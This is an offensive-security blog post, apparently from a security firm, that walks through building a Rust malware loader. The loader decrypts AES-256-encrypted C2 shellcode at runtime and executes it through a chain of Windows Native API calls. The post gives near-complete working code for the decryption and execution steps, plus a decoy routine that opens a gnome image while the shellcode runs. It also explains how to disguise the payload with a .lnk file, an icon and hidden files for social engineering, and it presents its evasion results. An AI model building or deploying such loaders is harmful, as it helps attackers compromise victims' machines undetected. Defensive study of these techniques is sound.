Executing Shellcode with Rust, AES-256, and a Gnome Photo

Alex Philiotis

 

Intro

Disclaimer: this research is intended exclusively as an intellectual exercise and a means of making defenders aware of the simple possibilities with Rust malware. Using any of the provided tools or code is left to the discretion of the reader and I will not be held responsible.

As Rust becomes increasingly popular, so has it’s use in malware development. It includes a number of features that make it naturally more evasive than it’s compiled cousins, it’s been signatured less, and it’s generally easy to write in. As an experiment, I created a straight forward shellcode loader that uses Windows Native API calls for execution, encrypted shellcode that’s decrypted at runtime, and (for fun) a .lnk payload that executes the shellcode when an image is opened.

How well does this all work? The final payload uses no methods for evasion beyond those described above. I have not attempted to obfuscate strings, function calls, add in junk code, etc etc. With that in mind, here are the results from VirusTotal. The sample run included encrypted shellcode generated by the Havoc C2 framework.

 

The Shellcode

In the interest of improving evasiveness, the loader includes the shellcode encrypted with AES-256 in the final binary and decrypts it at runtime. In Rust, this can be accomplished using the libaes crate.

To quickly encrypt the shellcode to be loaded, I created an additional tool that takes a binary file, output file, key, and initialization vector to create the encrypted shellcode. You can find this tool below.

https://github.com/JBince/rust_shellcode_encrypter

Decrypting the file at runtime is as simple as setting the key and IV used to encrypt it, recreating the cipher, and using that cipher on the loaded file.

//Set key and IV values for decryption
let key = b"This is a key and it's 32 bytes!";
let iv = b"This is 16 bytes!!";

//Recreate cipher used to encrypt shellcode
let cipher = Cipher::new_256(key);

//Read encrypted shellcode from file. The shellcode is saved as part of the binary on compilation.
let shellcode_file = include_bytes!("enc_demon.bin");

//Decrypt and save usable shellcode
let decrypted_shellcode = cipher.cbc_decrypt(iv, &shellcode_file[..]);

 

The Loader

The loader itself is straight forward and takes advantage of a classic string of Windows Native API calls:

NtAllocateVirtualMemory provides space on the stack in the context of the current program for the shellcode. When the memory is initially allocated, it’s done using PAGE_READWRITE (0x04) protection.

NtWriteVirtualMemory writes our shellcode to the allocated memory.

NtProtectVirtualMemory changes our allocated memory from PAGE_READWRITE to PAGE_EXECUTE_READWRITE (0x40) to make our shellcode executable.

NtQueueApcThread queues a new thread at the start of our allocated memory.

NtTestAlert executes queued threads and thus executes our shellcode.

In practice, the function calls are below.

unsafe {
        //Allocate stack memory for the shellcode
        let mut allocstart: *mut c_void = null_mut();

        let mut size: usize = decrypted_shellcode.len();

        NtAllocateVirtualMemory(
            NtCurrentProcess,
            &mut allocstart,
            0,
            &mut size,
            0x3000,
            0x04, //PAGE_READWRITE
        );

        //Write shellcode to allocated memory space
        NtWriteVirtualMemory(
            NtCurrentProcess,
            allocstart,
            decrypted_shellcode.as_ptr() as _,
            decrypted_shellcode.len() as usize,
            null_mut(),
        );

        //Change memory protection to allow execution
        let mut old_protect: u32 = 0x04;
        NtProtectVirtualMemory(
            NtCurrentProcess,
            &mut allocstart,
            &mut size,
            0x40, //PAGE_EXECUTE_READWRITE
            &mut old_protect,
        );

        //Queue up thread with shellcode pointer to execute
        NtQueueApcThread(
            NtCurrentThread,
            Some(std::mem::transmute(allocstart)) as PPS_APC_ROUTINE,
            allocstart,
            null_mut(),
            null_mut(),
        );

        //Execute queued threads
        NtTestAlert();
    };

 

The Distraction

In a social engineering attack, sending an executable might raise suspicion in a target. However, we can seek to mitigate that by adding an extra feature. By adding an extra Rust function and using a .lnk file, we can create the impression that a target is opening an image, but actually run the loader in the background. This concept could easily be extended to any number of file types such as Word documents or Excel spreadsheets and has been see in real world attacks.

We’ll build an additional function into our loader that takes an image in the working directory of the process and opens it using whatever default program the user has set. In this case, the image is gnome.jpg

fn pop_image() {
    //Pop gnome.png
    let image_path = format!(
        "{}/gnome.png",
        env::current_dir().unwrap().to_str().unwrap()
    );
    Command::new("cmd")
        .args(&["/C", "start", image_path.as_str()])
        .creation_flags(0x00000008) //0x0000008 DETACHED_PROCESS. Ensures cmd window doesn't pop
        .spawn()
        .expect("Failed to execute process");
}

This function is called in a separate thread in our loader, just before the API call to NtTestAlert

...

//Queue up thread with shellcode pointer to execute
        NtQueueApcThread(
            NtCurrentThread,
            Some(std::mem::transmute(allocstart)) as PPS_APC_ROUTINE,
            allocstart,
            null_mut(),
            null_mut(),
        );
        thread::spawn(move || {
            pop_image();
        });

        //Execute queued threads
        NtTestAlert();
    };
...

 

The Final Payload

The final payload is composed of our compiled binary, our image of choice, a .lnk file, and a .ico file to better disguise the link. Every file except for the link is set to hidden to better cover the payload.

The link file uses an absolute path to our loader as it's target

When a user double clicks the link file, it will open the image in their default image editor without any command window popups while executing our shellcode in the background. The final result is shown below.

 

Conclusion

With minimal additional obfuscation, the built in features of Rust allow anyone to quickly and efficiently build a malware prototype that’s reasonably evasive out of the box. Stacking more Rust functionality on top of this, such as executing commands, allows a developer to better disguise their payload with minimal effort.

If you’re interested in experimenting with this code, I have made the repository public.

https://github.com/JBince/rust_image_shellcode_loader

If you’re interested in learning more about Rust for offensive security, much of this project was inspired by the OffensiveRust repo from trickster0. You can find it here:

https://github.com/trickster0/OffensiveRust

Are you ready to start your technology journey? The friendly experts at SynerComm are here to help.

From design to deployment to troubleshooting and everything in between, the friendly experts at SynerComm are always here to help.
linkedin facebook pinterest youtube rss twitter instagram facebook-blank rss-blank linkedin-blank pinterest youtube twitter instagram